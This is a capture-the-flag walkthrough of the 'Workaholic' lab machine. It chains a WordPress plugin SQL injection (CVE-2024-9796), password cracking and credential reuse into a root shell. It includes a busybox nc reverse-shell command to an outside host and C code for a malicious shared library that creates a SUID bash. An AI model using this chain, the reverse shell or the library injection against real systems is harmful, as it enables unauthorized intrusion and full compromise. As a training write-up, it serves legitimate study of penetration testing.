the_open_door
coffee
ESEN

Workaholic

Proving Grounds PracticeMediumLinux192.168.131.229

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#wordpress#wp-advanced-search#cve-2024-9796#sqli#hash-cracking#password-reuse#ftp#wp-config#suid#shared-library-injection#oscp
TL;DR. Workaholic runs WordPress with the WP Advanced Search plugin vulnerable to an unauthenticated SQLi (CVE-2024-9796) that dumps the user hashes (WP Advanced Search SQLi (CVE-2024-9796)). We crack the phpass hashes, reuse charlie's password on FTP to read wp-config.php, and the database password opens charlie's SSH (credential reuse). A SUID binary, wp-monitor, loads a library from a writable directory; we inject a malicious .so and get root (shared library injection).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. FTP, SSH and a WordPress:

ping -c 1 192.168.131.229
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.229
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
nmap -p21,22,80 -sCV 192.168.131.229 -oN targetedScan
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Workaholic
|_http-generator: WordPress 6.7.2

WordPress - TCP 80

The landing page source (curl ... | grep offsec) references the vhost workaholic.offsec in the ajaxurl, which we add to /etc/hosts:

curl http://192.168.131.229 2>/dev/null | grep offsec | html2text

The source leaks workaholic.offsec in ajaxurl; we add it to /etc/hosts pointing at 192.168.131.229

File "-", line 30, column 0: CDATA terminal not found
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/",
"ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg",
"source":{"concatemoji":"http:\/\/workaholic.offsec\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.2"}};
var ac_param = {"ajaxurl":"http:\/\/workaholic.offsec\/wp-admin\/admin-ajax.php","selector":".search-field",
"autoFocus":"","limitDisplay":"5","multiple":"1"};

$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

192.168.131.229 workaholic.offsec

With the vhost resolved, wpscan enumerates the outdated plugin and the users:

wpscan --url http://workaholic.offsec/ --enumerate p,u
[+] wp-advanced-search
 | Version: 3.3.8 (80% confidence)
[i] User(s) Identified:
[+] admin
[+] ted
[+] charlie

Exploitation

Searching by the plugin and its version ("wp advanced search sqli exploit") lands on the WPScan entry "WP-Advanced-Search < 3.3.9.2 – Unauthenticated SQL Injection", which gives it a number: CVE-2024-9796:

Search wp advanced search sqli exploit: WPScan documents WP-Advanced-Search &amp;lt; 3.3.9.2 Unauthenticated SQL Injection CVE-2024-9796

WP Advanced Search <= 3.3.9.2 has an unauthenticated SQL injection (CVE-2024-9796). A public PoC exploits it to dump the user table (WP Advanced Search SQLi (CVE-2024-9796)). Refining the search ("CVE-2024-9796 git exploit") surfaces yup-Ivan's repo, which describes the injection through the t parameter of the autocomplete endpoint:

Search CVE-2024-9796 git exploit: GitHub repo yup-Ivan/CVE-2024-9796 injecting SQL through the t parameter of the autocomplete

yup-Ivan's PoC is the one we use; its banner identifies it on startup and it is interactive, so it asks for the WordPress IP and which query to run (we pick 1, extract users and passwords):

python3 CVE-2024-9796.py

The CVE-2024-9796 PoC dumps users admin, charlie, ted and their phpass hashes

admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/

The hashes are phpass ($P$); john with rockyou recovers two passwords:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john cracks the phpass hashes and returns okadamat17 and chrish20

okadamat17       (admin)
chrish20         (charlie)

Credential reuse: FTP and SSH

charlie's password is reused on the FTP (vsftpd), where we find and download wp-config.php (credential reuse):

ftp 192.168.131.229    # charlie
ftp> get wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );

And that database password is reused again: it opens charlie's SSH:

cat wp-config.php | grep -i pass
ssh charlie@192.168.131.229    # rU)tJnTw5*ShDt4nOx

Password reuse: the wp-config.php password opens charlie's SSH

charlie@192.168.131.229's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-48-generic x86_64)
Last login: Sat Feb  7 19:20:26 2026 from 192.168.45.204
$ whoami
charlie

Local

cat local.txt && whoami && ip a && hostname

local.txt read as the charlie user

4f5ffd398a34110be02f080ad59fc844
charlie

Privilege escalation

To work the escalation with a comfortable, logged PTY, we throw a Penelope-managed reverse shell from charlie's session (the busybox nc payload connects back to Penelope's listener):

busybox nc 192.168.45.204 80 -e bash

Penelope catches the reverse shell from workaholic (192.168.131.229) as charlie and upgrades it to a PTY

$ busybox nc 192.168.45.204 80 -e bash

$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
(Penelope)> listeners add -p 80
[+] Listening for reverse shells on 0.0.0.0:80  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
[-] Invalid shell from 192.168.131.229
[+] Got reverse shell from workaholic~192.168.131.229-Linux-x86_64  Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

charlie@workaholic:~$ whoami
charlie

SUID wp-monitor: shared library injection

We look for SUID binaries and one belonging to the site shows up, /var/www/html/wordpress/blog/wp-monitor. With strings we see it dynamically loads a library from a path under ted's home and calls an init_plugin function:

find / -perm -4000 2>/dev/null
strings /var/www/html/wordpress/blog/wp-monitor | grep -A3 '.so'

find reveals the SUID wp-monitor and strings shows it loads /home/ted/.lib/libsecurity.so calling init_plugin

/home/ted/.lib/libsecurity.so
init_plugin

The binary is SUID root and dlopens /home/ted/.lib/libsecurity.so, a directory we can write to. We write a library with the init_plugin function that sets UID/GID to 0 and prepares a SUID bash (shared library injection):

#include <stdlib.h>
#include <unistd.h>

void init_plugin() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

We compile it as a shared object at the exact path the binary loads and run wp-monitor:

gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
/var/www/html/wordpress/blog/wp-monitor

wp-monitor loads our libsecurity.so and init_plugin runs as root, giving a root shell

charlie@workaholic:/home/ted/.lib$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
charlie@workaholic:/home/ted/.lib$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs ...
root@workaholic:/home/ted/.lib# whoami
root

When it loads our library, wp-monitor (SUID root) runs init_plugin with root privileges and we drop into a root shell.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root

64e44b4b648d4755486d8abafbd28886
root

Attack chain

WordPress (80)  --  WP Advanced Search 3.3.8
        │  CVE-2024-9796: SQLi -> phpass hashes -> john -> chrish20 (charlie)
        │  reuse: charlie on FTP -> wp-config.php (DB pass)
        │  reuse: DB pass -> SSH charlie
        ▼
charlie  (local.txt)
        │  SUID wp-monitor dlopen /home/ted/.lib/libsecurity.so (writable)
        │  malicious init_plugin() -> setuid(0) + SUID bash
        ▼
root  (proof.txt)

Lessons learned

  • An outdated plugin opens the box. WP Advanced Search 3.3.8 dragged CVE-2024-9796; the unauthenticated SQLi dumped every hash. Keeping plugins current is not optional.
  • Password reuse chains services together. The same charlie password worked for FTP, and the database one for SSH. Each reused credential shortens the attacker's chain.
  • wp-config.php is a treasure. Downloading it over FTP gave the database password, reused for SSH. That file should never be reachable nor contain reused secrets.
  • Loading a .so from a writable path is RCE with the binary's privileges. A SUID root binary that dlopens a library the user controls is equivalent to handing over root. A privileged binary's load paths must be writable only by root.
Command cheatsheet 9 commands

Quick review